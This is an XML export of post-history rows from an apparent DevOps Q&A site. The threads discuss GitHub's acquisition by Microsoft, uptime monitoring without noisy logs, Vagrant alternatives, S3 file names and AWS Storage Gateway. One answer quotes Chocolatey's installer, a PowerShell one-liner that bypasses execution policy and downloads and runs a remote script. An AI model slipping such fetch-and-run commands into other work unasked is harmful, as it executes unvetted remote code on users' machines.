  <row Id="13357" PostHistoryTypeId="5" PostId="4260" RevisionGUID="50fe7cba-179e-422d-a12d-3581fb0e1253" CreationDate="2018-06-06T21:25:25.427" UserId="210" Comment="edited body" Text="When one navigates to github.com it is announced that Microsoft has acquired Github. &#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;There are some rumors that multiple projects were migrated to other git providers like gitlab and bitbucket. What effect will the acquisition have from a DevOps perspective. To be more specific, the integration of Travis and GitHub works out of the box? Should one worry? E.g. will users have to buy licenses in order to use GitHub? Will the travisci integration be neglected?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/g9v6z.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="13358" PostHistoryTypeId="5" PostId="4261" RevisionGUID="fde616f5-54a0-4677-8ece-7d25cbec4944" CreationDate="2018-06-06T21:28:45.237" UserId="2845" Comment="added 4 characters in body" Text="Microsoft has heavily invested in their [Git Virtual File System](https://github.com/Microsoft/GVFS). It is unlikely then that such a key system central to Microsoft's internal development processes will be going anywhere any time soon, and GitHub is a smart dovetail with Microsoft's portfolio and strategic direction.&#xD;&#xA;&#xD;&#xA;[Microsoft has recently been moving towards more freemium services](https://www.cio.com/article/3029322/software/why-microsoft-continues-to-embrace-the-freemium-model.html) - which GitHub already is - and [moving](https://www.cnbc.com/2018/06/04/microsoft-ceo-satya-nadella-on-github-we-are-all-in-on-open-source.html) towards [open source](https://www.cnbc.com/2018/06/04/microsoft-ceo-satya-nadella-on-github-we-are-all-in-on-open-source.html) - the company was one of the [top contributors to open source in 2017](https://medium.freecodecamp.org/the-top-contributors-to-github-2017-be98ab854e87). Other notable examples are things like:&#xD;&#xA;&#xD;&#xA; - The [Linux Subsystem for Windows](https://docs.microsoft.com/en-us/windows/wsl/install-win10)&#xD;&#xA; - The [open-sourcing of power shell](https://github.com/PowerShell/PowerShell) &#xD;&#xA; - [Contributions to the Linux Kernel](https://unix.stackexchange.com/questions/178615/why-does-microsoft-contribute-to-the-linux-kernel)&#xD;&#xA;&#xD;&#xA;This also provides a strategic opportunity to integrate Visual Studio (which [already has pretty good integration with Git](https://docs.microsoft.com/en-us/vsts/git/gitquickstart?view=vsts&amp;tabs=visual-studio)) more tightly.&#xD;&#xA;&#xD;&#xA;In short, Microsoft will probably do very little to harm GitHub - it will only work to make it solvent. This will be a difficult balancing act, as Microsoft must be careful not to alienate developers but they may have to end the gravy train as [GitHub has been bleeding](https://www.bloomberg.com/news/articles/2016-12-15/github-is-building-a-coder-s-paradise-it-s-not-coming-cheap) money. Ultimately this is likely to be a good thing for the developer community, but at worst it will look like the migration from SourceForge to whatever the new and shiny hot young thing is." ContentLicense="CC BY-SA 4.0" />
  <row Id="13359" PostHistoryTypeId="2" PostId="4262" RevisionGUID="0d0f7ea6-5961-4414-9c9b-30d1e94a5623" CreationDate="2018-06-06T21:54:49.003" UserId="7855" Text="This is my opinion: Coverage says nothing about correctness, so if you are writing unit tests for coverage, you are doing it wrong. Unit tests shall originate in requirements, the resulting coverage is a measure for completeness of your test suite and your code quality. If the coverage is low, chances are that&#xD;&#xA;&#xD;&#xA; - your unit tests don't cover all requirements.&#xD;&#xA; - there is dead code.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13360" PostHistoryTypeId="2" PostId="4263" RevisionGUID="d71753cc-4fca-4dd6-ad76-40790018032c" CreationDate="2018-06-06T22:37:38.233" UserId="8221" Text="I am looking for a solution to monitor the health (`DOWN` or `UP`) of my web pages.&#xD;&#xA;Let's say I have three services,&#xD;&#xA;&#xD;&#xA;    site.com/data&#xD;&#xA;    site.com/user&#xD;&#xA;    site.com/id&#xD;&#xA;&#xD;&#xA;Now, what I can do is that I can create a `GET` request which will be served every second and check if `response status code` is `200 OK`. If it is anything else than `200 OK`, then it will trigger an alert. But, I don't want to hit the server continuously, as it will create unnecessary logs. I am using a `mongodb logger`. What is the recommended way to achieve this?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13361" PostHistoryTypeId="1" PostId="4263" RevisionGUID="d71753cc-4fca-4dd6-ad76-40790018032c" CreationDate="2018-06-06T22:37:38.233" UserId="8221" Text="Health monitoring of web pages without using GET check" ContentLicense="CC BY-SA 4.0" />
  <row Id="13362" PostHistoryTypeId="3" PostId="4263" RevisionGUID="d71753cc-4fca-4dd6-ad76-40790018032c" CreationDate="2018-06-06T22:37:38.233" UserId="8221" Text="&lt;monitoring&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13363" PostHistoryTypeId="2" PostId="4264" RevisionGUID="01b003a8-8329-4de4-a7e8-05dbf1fdf634" CreationDate="2018-06-07T03:32:01.380" UserId="47" Text="One possibility would be to monitor the responses to requests from other site users. For example I'd check if there were `200 OK` responses and skip hitting the server is such responses were sent in the most recent X minutes (up to you to determine which time interval is best fit for your application). &#xD;&#xA;&#xD;&#xA;Maybe checking on the (server side) errors as well and hitting the server as well if a sudden change in the error occurrence rate is detected - just to be sure.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13364" PostHistoryTypeId="5" PostId="3908" RevisionGUID="60b0a302-2a14-4763-aa84-fd3d471bc1b1" CreationDate="2018-06-07T03:55:02.410" UserId="5868" Comment="no thanks on stackexchange" Text="I've been using vagrant for provisioning virtual machines (Linux only) and so far I've been happy with it. The two things I dislike about it - the hardcoded dependency on the `user vagrant` as well as making the very first interface a virtual box NAT - this causes some routing problems when communicating outside my LAN - it has eth0 created by vagrant and eth1 in bridged mode. As far as I understand, this was a design decision so there is no way around it. &#xD;&#xA;&#xD;&#xA;I currently use vagrant &#xD;&#xA;&#xD;&#xA; - To create a Virtual Box virtual machine, &#xD;&#xA; - Set Static IP/MAC addresses&#xD;&#xA; - Create my own secondary user, and then treat it as a standalone &quot;physical&quot; host. I then use this user for any additional provisioning.&#xD;&#xA;&#xD;&#xA;I can delete the `user vagrant` - the problem is that if I do vagrant up (or vagrant halt I believe to gracefully shutdown) it tries to ssh and the command hangs while it retries. The other problem is that I need to delete it each time I spin up a VM and I **cannot** when doing the first time provisioning because I am logged in as user vagrant. &#xD;&#xA;&#xD;&#xA;I've been wondering if there is any other similar software/tool that just does a one time provision, sets up a static IP/MAC address, and allows for easy start/resume/shutdown when testing/deploying/maintaining. &#xD;&#xA;&#xD;&#xA;I've been looking at Hashicorp's packer but I don't think it is possible to automatically configure IP/MAC addresses. &#xD;&#xA;&#xD;&#xA;I am mainly looking for creating a virtual machine from scratch as if it was installed on a bare metal desktop computer by hand using a ISO on a CD.&#xD;&#xA;&#xD;&#xA;In the end, using packer to provision and then using VirtualBox command line tools to recreate some of the functionality that vagrant does will suffice (sett IP/MAC address) - but I wonder if there are any other tools used for creating **secure** (no vagrant user and ssh only with private key) vms." ContentLicense="CC BY-SA 4.0" />
  <row Id="13365" PostHistoryTypeId="24" PostId="3908" RevisionGUID="60b0a302-2a14-4763-aa84-fd3d471bc1b1" CreationDate="2018-06-07T03:55:02.410" Comment="Proposed by 5868 approved by 6397 edit id of 711" ContentLicense="CC BY-SA 4.0" />
  <row Id="13369" PostHistoryTypeId="2" PostId="4266" RevisionGUID="3e6bc4b2-47ea-40f7-9f25-41e9aae3d061" CreationDate="2018-06-07T04:10:58.040" UserId="15" Text="You can use [Uptime Robot][1], it offers a very good free layer (up to 50 sites free).&#xD;&#xA;&#xD;&#xA;You can configure your sites (they are called monitors) in many ways. A simple `GET` (your case), `ping` and more. In case you want to have an idea, the screen to add a monitor look like this:&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;You can also configure your email to receive alerts, it has more options but I haven't explored which one of them are on the free tier, but in the other options you can find SMS, slack, hipchat and more.&#xD;&#xA;&#xD;&#xA;It has a very good dashboard (I never use it though, I just get the email notifications) where you can see the status of the health checks and the type of error if it's the case.&#xD;&#xA;&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;[![enter image description here][4]][4]&#xD;&#xA;&#xD;&#xA;The only downside on the free tier is the five minutes interval, I would prefer to use a two or three minutes interval but most of the sites don't need one second accuracy on the health check anyway.&#xD;&#xA;&#xD;&#xA;  [1]: https://uptimerobot.com/&#xD;&#xA;  [2]: https://i.stack.imgur.com/6y06j.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/U3GUa.png&#xD;&#xA;  [4]: https://i.stack.imgur.com/yaVeH.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="13372" PostHistoryTypeId="2" PostId="4268" RevisionGUID="6f4cba17-1b0c-4e3e-8ec5-11f7568c416f" CreationDate="2018-06-07T09:23:43.323" UserId="13" Text="I see two way to solve this problem:&#xD;&#xA;&#xD;&#xA;1. Check your logs often and ensure there was an access with code 200 in the last N seconds/minutes and no code 5xx meaning there's a server side error. (the often should be coherent with how long you are ok with no entries)&#xD;&#xA;&#xD;&#xA;2. Keep an active check but:&#xD;&#xA;&#xD;&#xA; - use a HEAD request (so there's less data to return by the server) &#xD;&#xA; - use a custom user agent for the check &#xD;&#xA; - configure your log exporter to ignore this user agent.&#xD;&#xA; - take a larger check interval, 1 second is probably over obsessive &#xD;&#xA;&#xD;&#xA;Depending on how often your sites are called you may wish to mix both methods to have a proper check even if there's no traffic from real clients." ContentLicense="CC BY-SA 4.0" />
  <row Id="13373" PostHistoryTypeId="2" PostId="4269" RevisionGUID="58216d0e-7f76-46af-8647-2fc44b864f17" CreationDate="2018-06-07T10:30:29.563" UserId="8228" Text="The main problem I faced with a similar jenkins.model.InvalidBuildsDir exception is, that the given path was embedded in white spaces between tag markers and the check then thinks the path starts with white space, thus declaring it non-absolute." ContentLicense="CC BY-SA 4.0" />
  <row Id="13381" PostHistoryTypeId="5" PostId="4261" RevisionGUID="0e3258bb-d0eb-41c1-81fc-237ecb657223" CreationDate="2018-06-07T15:05:27.953" UserId="2845" Comment="added 327 characters in body" Text="Microsoft has heavily invested in their [Git Virtual File System](https://github.com/Microsoft/GVFS). It is unlikely then that such a key system central to Microsoft's internal development processes will be going anywhere any time soon, and GitHub is a smart dovetail with Microsoft's portfolio and strategic direction.&#xD;&#xA;&#xD;&#xA;[Microsoft has recently been moving towards more freemium services](https://www.cio.com/article/3029322/software/why-microsoft-continues-to-embrace-the-freemium-model.html) - which GitHub already is - and [moving](https://www.cnbc.com/2018/06/04/microsoft-ceo-satya-nadella-on-github-we-are-all-in-on-open-source.html) towards [open source](https://www.cnbc.com/2018/06/04/microsoft-ceo-satya-nadella-on-github-we-are-all-in-on-open-source.html) - the company was one of the [top contributors to open source in 2017](https://medium.freecodecamp.org/the-top-contributors-to-github-2017-be98ab854e87). Other notable examples are things like:&#xD;&#xA;&#xD;&#xA; - The [Linux Subsystem for Windows](https://docs.microsoft.com/en-us/windows/wsl/install-win10)&#xD;&#xA; - The [open-sourcing of power shell](https://github.com/PowerShell/PowerShell) &#xD;&#xA; - [Contributions to the Linux Kernel](https://unix.stackexchange.com/questions/178615/why-does-microsoft-contribute-to-the-linux-kernel)&#xD;&#xA;&#xD;&#xA;This also provides a strategic opportunity to integrate Visual Studio (which [already has pretty good integration with Git](https://docs.microsoft.com/en-us/vsts/git/gitquickstart?view=vsts&amp;tabs=visual-studio)) more tightly.&#xD;&#xA;&#xD;&#xA;In short, Microsoft will probably do very little to harm GitHub - it will only work to make it solvent. This acquisition may have been very much about preserving GitHub to ensure that Microsoft will be able to continue to leverage its' features - the very same features you probably use. Nonetheless, guardianship of GitHub will be a difficult balancing act, as Microsoft must be careful not to alienate developers but they may have to end the gravy train as [GitHub has been bleeding](https://www.bloomberg.com/news/articles/2016-12-15/github-is-building-a-coder-s-paradise-it-s-not-coming-cheap) money for some time. Ultimately this acquisition is likely to be a good thing for the developer community as it will help to preserve and continue the public services that GitHub provides, but at worst things will look like the migration from SourceForge to whatever the new and shiny hot young thing is." ContentLicense="CC BY-SA 4.0" />
  <row Id="13382" PostHistoryTypeId="2" PostId="4271" RevisionGUID="31d89375-1289-4a97-b576-fd10c2df01a7" CreationDate="2018-06-07T15:09:50.880" UserId="2845" Text="This is targeted for something a little more industrial strength, but have you looked at [Foreman](https://www.theforeman.org/)? I use the [Foreman bootdisk plugin](https://github.com/theforeman/foreman_bootdisk) to provision my VMs and bare metal machines via kickstart using iPXE. You will need a DHCP server for that though..." ContentLicense="CC BY-SA 4.0" />
  <row Id="13386" PostHistoryTypeId="6" PostId="4260" RevisionGUID="d3374a85-ea16-4243-913c-fa721a5b0368" CreationDate="2018-06-08T09:34:56.990" UserId="707" Comment="edited tags" Text="&lt;github&gt;&lt;business&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13387" PostHistoryTypeId="2" PostId="4273" RevisionGUID="41ca3d69-ee07-4d4a-83d9-03a139bcd259" CreationDate="2018-06-08T14:17:58.780" UserId="8245" Text="Lets say I have a number of tools like docker bench security, some static security scanners etc etc. Now I have lets say free ansible edition (no expenses are considered). I have lots of logs, but not much automated, actionable info that triggers scripts. What is a proper way to automate link between static scanners and CM tools like ansible and jenkins? &#xD;&#xA;&#xD;&#xA;Should it go like:&#xD;&#xA;1.Parse logs for set of errors and then automatically trigger &quot;correcting scripts&quot; ?&#xD;&#xA;2.Just run a playbook once in a while as it checks the state before doing anything ?&#xD;&#xA;3.Use tools/plugins for ansible?&#xD;&#xA;4.Something else?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13388" PostHistoryTypeId="1" PostId="4273" RevisionGUID="41ca3d69-ee07-4d4a-83d9-03a139bcd259" CreationDate="2018-06-08T14:17:58.780" UserId="8245" Text="How to properly automate CM?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13389" PostHistoryTypeId="3" PostId="4273" RevisionGUID="41ca3d69-ee07-4d4a-83d9-03a139bcd259" CreationDate="2018-06-08T14:17:58.780" UserId="8245" Text="&lt;jenkins&gt;&lt;ansible&gt;&lt;jenkins-pipeline&gt;&lt;configuration-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13390" PostHistoryTypeId="5" PostId="4273" RevisionGUID="a87810ea-298f-49d9-a980-5fcd13862510" CreationDate="2018-06-08T14:19:44.737" UserId="13" Comment="added 6 characters in body" Text="Lets say I have a number of tools like docker bench security, some static security scanners etc etc. Now I have lets say free ansible edition (no expenses are considered). I have lots of logs, but not much automated, actionable info that triggers scripts. What is a proper way to automate link between static scanners and CM tools like ansible and jenkins? &#xD;&#xA;&#xD;&#xA;Should it go like:&#xD;&#xA;&#xD;&#xA;1. Parse logs for set of errors and then automatically trigger &quot;correcting scripts&quot; ?&#xD;&#xA;2. Just run a playbook once in a while as it checks the state before doing anything ?&#xD;&#xA;3. Use tools/plugins for ansible?&#xD;&#xA;4. Something else?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13391" PostHistoryTypeId="50" PostId="3263" RevisionGUID="2430b229-b808-4219-94be-65c3ad63027c" CreationDate="2018-06-08T17:05:47.173" UserId="-1" />
  <row Id="13393" PostHistoryTypeId="50" PostId="2481" RevisionGUID="96c054fe-d304-4e7c-bb47-2dc7b657a9c7" CreationDate="2018-06-09T04:22:30.793" UserId="-1" />
  <row Id="13400" PostHistoryTypeId="50" PostId="3463" RevisionGUID="be45b543-576b-41ce-b871-3a02a7d5f2b0" CreationDate="2018-06-09T09:32:24.093" UserId="-1" />
  <row Id="13404" PostHistoryTypeId="50" PostId="4082" RevisionGUID="08be18d9-01d6-4113-a927-6dc620fe8eb3" CreationDate="2018-06-10T02:50:43.413" UserId="-1" />
  <row Id="13405" PostHistoryTypeId="6" PostId="4082" RevisionGUID="135c8c58-2656-4d63-8a96-93ffabd35324" CreationDate="2018-06-10T04:34:28.647" UserId="47" Comment="edited tags" Text="&lt;deployment&gt;&lt;terminology&gt;&lt;release-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13406" PostHistoryTypeId="2" PostId="4277" RevisionGUID="9321fe74-fb75-4b60-8deb-ae55e5b1af7f" CreationDate="2018-06-10T06:12:10.083" UserId="8264" Text="Try installation instructions from https://chocolatey.org/install#completely-offline-install (section &quot;Installing behind a proxy&quot;):&#xD;&#xA;&#xD;&#xA;        @powershell -NoProfile -ExecutionPolicy Bypass -Command &quot;[System.Net.WebRequest]::DefaultWebProxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1'))&quot; &amp;&amp; SET PATH=%PATH%;%ALLUSERSPROFILE%\chocolatey\bin&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13407" PostHistoryTypeId="50" PostId="4083" RevisionGUID="ebbc7efc-893f-4b1f-8f20-2a0dd5eb2a85" CreationDate="2018-06-10T10:57:00.037" UserId="-1" />
  <row Id="13408" PostHistoryTypeId="2" PostId="4278" RevisionGUID="ead562a0-32f9-4ae5-99ea-2767b213f154" CreationDate="2018-06-10T15:25:25.470" UserId="2845" Text="Perhaps &quot;Zero-downtime live migration&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13409" PostHistoryTypeId="2" PostId="4279" RevisionGUID="038571a2-e97a-4673-a4a3-bafcc6f4e61f" CreationDate="2018-06-10T15:32:31.717" UserId="2845" Text="One method is that you do TCP-only monitoring. In this scenario, you establish a three way handshake (or use tcp-half-open monitoring in which no connection is established - you merely look for an [syn, ack] to your [syn], and don't [ack] the [syn, ack] back) and then close the connection assuming it is the web server listening on that port.&#xD;&#xA;&#xD;&#xA;A better option however, is to figure out how to [exclude your](https://www.howtoforge.com/setenvif_apache2) health [monitor traffic](https://bjornjohansen.no/exclude-requests-from-nginx-access-log) from logging, though I am unable to give specifics on  doing that with rails/mongodb logger." ContentLicense="CC BY-SA 4.0" />
  <row Id="13420" PostHistoryTypeId="50" PostId="3602" RevisionGUID="ab2a3571-9c9b-42f9-883a-4ca0eadea840" CreationDate="2018-06-11T17:15:39.850" UserId="-1" />
  <row Id="13421" PostHistoryTypeId="2" PostId="4281" RevisionGUID="da22e5f9-76c8-4632-8bfa-38843d97c62f" CreationDate="2018-06-11T18:17:05.010" UserId="4883" Text="I have been trying to copy a file from my remote server to AWS s3, but the file name is quite weird and I am not able to figure it out what can I do. I tried using escape characters but that did not work.&#xD;&#xA;Filenames:-&#xD;&#xA;    &#xD;&#xA;    # R?glement de zzzzzxxxxx v1.0 #.pdf &#xD;&#xA;    # R?glement de xxxxxyyyyy v1.0 #.docx&#xD;&#xA;My locale is like this :- &#xD;&#xA;  &#xD;&#xA;    LANG=en_US.UTF-8&#xD;&#xA;    LC_CTYPE=&quot;en_US.UTF-8&quot;&#xD;&#xA;    LC_NUMERIC=&quot;en_US.UTF-8&quot;&#xD;&#xA;    LC_TIME=&quot;en_US.UTF-8&quot;&#xD;&#xA;    LC_COLLATE=&quot;en_US.UTF-8&quot;&#xD;&#xA;    LC_MONETARY=&quot;en_US.UTF-8&quot;&#xD;&#xA;    LC_MESSAGES=&quot;en_US.UTF-8&quot;&#xD;&#xA;    LC_PAPER=&quot;en_US.UTF-8&quot;&#xD;&#xA;    LC_NAME=&quot;en_US.UTF-8&quot;&#xD;&#xA;    LC_ADDRESS=&quot;en_US.UTF-8&quot;&#xD;&#xA;    LC_TELEPHONE=&quot;en_US.UTF-8&quot;&#xD;&#xA;    LC_MEASUREMENT=&quot;en_US.UTF-8&quot;&#xD;&#xA;    LC_IDENTIFICATION=&quot;en_US.UTF-8&quot;&#xD;&#xA;    LC_ALL=&#xD;&#xA;&#xD;&#xA;I am using below command &#xD;&#xA;&#xD;&#xA;    aws s3 sync file_name s3://bucket_name/raw_files/ --sse&#xD;&#xA;Please suggest" ContentLicense="CC BY-SA 4.0" />
  <row Id="13422" PostHistoryTypeId="1" PostId="4281" RevisionGUID="da22e5f9-76c8-4632-8bfa-38843d97c62f" CreationDate="2018-06-11T18:17:05.010" UserId="4883" Text="Copying a file with special character &amp; spaces" ContentLicense="CC BY-SA 4.0" />
  <row Id="13423" PostHistoryTypeId="3" PostId="4281" RevisionGUID="da22e5f9-76c8-4632-8bfa-38843d97c62f" CreationDate="2018-06-11T18:17:05.010" UserId="4883" Text="&lt;amazon-web-services&gt;&lt;linux&gt;&lt;amazon-s3&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13424" PostHistoryTypeId="50" PostId="3542" RevisionGUID="1bb8f81f-6581-401a-a590-0470cf0be00f" CreationDate="2018-06-11T20:15:45.590" UserId="-1" />
  <row Id="13425" PostHistoryTypeId="50" PostId="3856" RevisionGUID="14fbc9d1-53b9-4640-b5c7-c950738d3e45" CreationDate="2018-06-12T04:18:23.377" UserId="-1" />
  <row Id="13426" PostHistoryTypeId="50" PostId="3872" RevisionGUID="e2b68d37-7d5d-4cad-8a81-b487a1f3ab69" CreationDate="2018-06-12T05:19:16.780" UserId="-1" />
  <row Id="13427" PostHistoryTypeId="5" PostId="3983" RevisionGUID="df9c2eba-0f89-4057-b8a5-54a5233d9e6a" CreationDate="2018-06-12T11:12:31.030" UserId="7250" Comment="Correction of words" Text="I have a problem in the storage gateway that the cache volume is full, when we look at the operating system there is still space available on that volume, based on the referenced model aws, should only be kept in the cache the files accessed regularly, but apparently is keeping all the files thus filling the cache and causing the requests of the users and applications to be made directly in aws.This causes a lowness that takes 2 minutes to open a pdf file of 2 MB.&#xD;&#xA;&#xD;&#xA;I need to identify how to verify if it is actually retaining only the recently used files or is retaining all the files because our local storage is very large, we have 4TB volumes and it is full, in addition to other smaller volumes that are also almost full.&#xD;&#xA;&#xD;&#xA;how could i proceed to perform the cache cleaning and start a new storage cycle in a safe way so you do not need to increase the cache.&#xD;&#xA;I'm grateful if you can help me" ContentLicense="CC BY-SA 4.0" />
  <row Id="13428" PostHistoryTypeId="2" PostId="4282" RevisionGUID="5d19aaa1-7314-430f-93d6-8882cd398c26" CreationDate="2018-06-12T11:14:47.557" UserId="47" Text="Note that the suspect filename character may not actually be `?`, that could be just a filename displaying artifact if your system somehow doesn't properly display that character. BTW, `R?glement` sounds awfully close to the French `Règlement`.&#xD;&#xA;&#xD;&#xA;One possible approach to accessing those files without worrying too much about typing in those characters or escaping them would be to try to wildcard them instead. In your case try something along these lines (use a more specific pattern if there are other files matching this one besides the 2 files of interest):&#xD;&#xA;&#xD;&#xA;    aws s3 sync R*glement*pdf s3://bucket_name/raw_files/ --sse&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13429" PostHistoryTypeId="2" PostId="4283" RevisionGUID="92c1cfb9-0559-4209-b85a-90db9dd32c48" CreationDate="2018-06-12T11:17:43.500" UserId="7250" Text="After much tryings, i was look for problem with implementation of solution and reads documentation of resource, and to my surprise that requirements are not attends.Só i   change that configurations mistakes and the storage gateway is flying." ContentLicense="CC BY-SA 4.0" />
  <row Id="13430" PostHistoryTypeId="5" PostId="3983" RevisionGUID="76081845-1449-470a-a1b1-f0217fe5216b" CreationDate="2018-06-12T11:23:15.280" UserId="47" Comment="improved readability" Text="I have a problem in the storage gateway: the cache volume is full. When we look at the operating system there is still space available on that volume.&#xD;&#xA;&#xD;&#xA;Based on the referenced aws model, only the files accessed regularly should be kept in the cache, but apparently it is keeping all the files, thus filling the cache and causing the requests of the users and applications to be made directly in aws. This causes slowness: it takes 2 minutes to open a 2 MB pdf file.&#xD;&#xA;&#xD;&#xA;Our local storage is very large (4TB volume) and it is full, in addition to other smaller volumes that are also almost full.&#xD;&#xA;&#xD;&#xA;How can I check if it is actually retaining only the recently used files or if it is retaining all the files?&#xD;&#xA;&#xD;&#xA;And how could I perform the cache cleaning and start a new storage cycle in a safe way in order to avoid increasing the cache?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13431" PostHistoryTypeId="5" PostId="4283" RevisionGUID="494a531c-838f-40de-944b-ed22be0fd64b" CreationDate="2018-06-12T12:01:25.080" UserId="7250" Comment="Add info about solution." Text="After much tryings, i was look for problem with implementation of solution and reads documentation of resource, and to my surprise that requirements are not attends.Só i   change that configurations mistakes and the storage gateway is flying.&#xD;&#xA;&#xD;&#xA;The misconfiguration was about requirements, the minimo indicated by AWS is 16GB of memory, and at least 20% local storage used to cache  all data used loaded to AWS storage." ContentLicense="CC BY-SA 4.0" />
  <row Id="13432" PostHistoryTypeId="2" PostId="4284" RevisionGUID="31866d2c-e306-478b-bbd6-d1c291767660" CreationDate="2018-06-12T12:30:27.300" UserId="775" Text="You can benefit from EC2 inventory script provided by Ansible - [click][1]&#xD;&#xA;It will allow you to to connect to all ec2-instances, one by one (in `serial: 1` mode)&#xD;&#xA;&#xD;&#xA;  [1]: https://raw.githubusercontent.com/ansible/ansible/devel/contrib/inventory/ec2.py&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13437" PostHistoryTypeId="2" PostId="4286" RevisionGUID="5de62944-e11c-4a90-944d-6bfd7c1640fd" CreationDate="2018-06-12T16:19:36.657" UserId="8291" Text="If you're comfortable with writing shell scripts or other scripts like python to interact with the mainframe, here's a free Command Line Interface called Brightside:&#xD;&#xA;&#xD;&#xA;https://www.ca.com/us/trials/ca-brightside.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="13441" PostHistoryTypeId="50" PostId="2891" RevisionGUID="0773c1b0-16fd-460d-a12c-130ce83d8072" CreationDate="2018-06-12T16:48:40.387" UserId="-1" />
  <row Id="13442" PostHistoryTypeId="5" PostId="3941" RevisionGUID="f21d918f-69aa-4841-845f-663dcec4ce43" CreationDate="2018-06-12T18:00:44.767" UserId="8278" Comment="Grammer and stuff" Text="From the perspective of build automation, I find that it is better to have multiple repositories.  This allows for smaller configurations and more granular control of your build/release process.  You can allow references and pull in source code to build or release (of course you can also ignore source code as well in VSTS build pipeline).&#xD;&#xA;&#xD;&#xA;This leads to being able to release just the project you want or need to your desired environment.  You can, of course, pull in artifacts from other builds and include them in your release if you need to.&#xD;&#xA;&#xD;&#xA;To summarize, I tend to go as small as possible and only group things into the same repository if they are indeed part of the same project and no part of the project can be used elsewhere." ContentLicense="CC BY-SA 4.0" />
  <row Id="13443" PostHistoryTypeId="24" PostId="3941" RevisionGUID="f21d918f-69aa-4841-845f-663dcec4ce43" CreationDate="2018-06-12T18:00:44.767" Comment="Proposed by 8278 approved by 40, 47 edit id of 713" ContentLicense="CC BY-SA 4.0" />
  <row Id="13444" PostHistoryTypeId="2" PostId="4288" RevisionGUID="2f5be060-326f-42b2-8bee-fbd76e602e01" CreationDate="2018-06-12T18:09:59.823" UserId="739" Text="While I like the other great answers already here, I'd like to add:&#xD;&#xA;&#xD;&#xA;# use GET against a different port&#xD;&#xA;&#xD;&#xA;You could have your app listen on a different port which isn't logged.  `haproxy` and such are happy to check for health on port A for a service that is live on port B.&#xD;&#xA;&#xD;&#xA;# don't log canary checks&#xD;&#xA;&#xD;&#xA;You could designate certain data items for monitoring and other tests to retrieve and not log requests against those designated items.&#xD;&#xA;&#xD;&#xA;# set a lower TTL for canary entries&#xD;&#xA;&#xD;&#xA;It is a bit scary to cut off logging, so maybe you could delete the entries related to logging more aggressively since it is going into a database?  This avoids checking a code path that turns out to not fail when the user experience is failing.&#xD;&#xA;&#xD;&#xA;# end-to-end checks are pretty important&#xD;&#xA;&#xD;&#xA;Having something that is able to&#xD;&#xA;&#xD;&#xA;* see whether it can get to you&#xD;&#xA;* and whether your thing is doing its thing&#xD;&#xA;* and whether your thing can talk to everything it needs&#xD;&#xA;&#xD;&#xA;often ends up being pretty vital to detect issues that you wouldn't catch by focusing on any one part of this.  Paying the price for logging is usually negligible compared to the value and peace of mind you get from end-to-end checks." ContentLicense="CC BY-SA 4.0" />
  <row Id="13445" PostHistoryTypeId="5" PostId="2891" RevisionGUID="8b8b6f98-cc13-4627-b496-2da64c10b372" CreationDate="2018-06-12T18:14:26.927" UserId="7917" Comment="Copy edited (e.g. ref. &lt;http://en.wikipedia.org/wiki/Amazon_Web_Services&gt;)." Text="I'm trying to build an application infrastructure on Amazon AWS following a microservice pattern.&#xD;&#xA;&#xD;&#xA;However the configuration API gateway and service discovery tool together completely puzzles me.&#xD;&#xA;&#xD;&#xA;According to [a pattern][1] I need both (and I understand that). I decided to go with [Amazon API gateway][2] as API gateway and [Hashicorp Consul][3] as service discovery.&#xD;&#xA;&#xD;&#xA;From what I see in the configuration guide on Amazon, API gateway configuration is pretty much straightforward: I specify path and URL to follow and that's it.&#xD;&#xA;&#xD;&#xA;How in the world do I explain API gateway to get information from Consul?&#xD;&#xA;&#xD;&#xA;PS. There is a [Consul quickstart][4] guide, but it is just a deployment instruction. There is nothing about connecting it to the API gateway.&#xD;&#xA;&#xD;&#xA;  [1]: http://microservices.io/patterns/apigateway.html&#xD;&#xA;  [2]: https://docs.aws.amazon.com/apigateway/latest/developerguide/welcome.html&#xD;&#xA;  [3]: https://www.consul.io/&#xD;&#xA;  [4]: https://aws.amazon.com/quickstart/architecture/consul/&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13446" PostHistoryTypeId="4" PostId="2891" RevisionGUID="8b8b6f98-cc13-4627-b496-2da64c10b372" CreationDate="2018-06-12T18:14:26.927" UserId="7917" Comment="Copy edited (e.g. ref. &lt;http://en.wikipedia.org/wiki/Amazon_Web_Services&gt;)." Text="API gateway and service discovery on Amazon AWS" ContentLicense="CC BY-SA 4.0" />
  <row Id="13447" PostHistoryTypeId="24" PostId="2891" RevisionGUID="8b8b6f98-cc13-4627-b496-2da64c10b372" CreationDate="2018-06-12T18:14:26.927" Comment="Proposed by 7917 approved by 47, 40 edit id of 714" ContentLicense="CC BY-SA 4.0" />
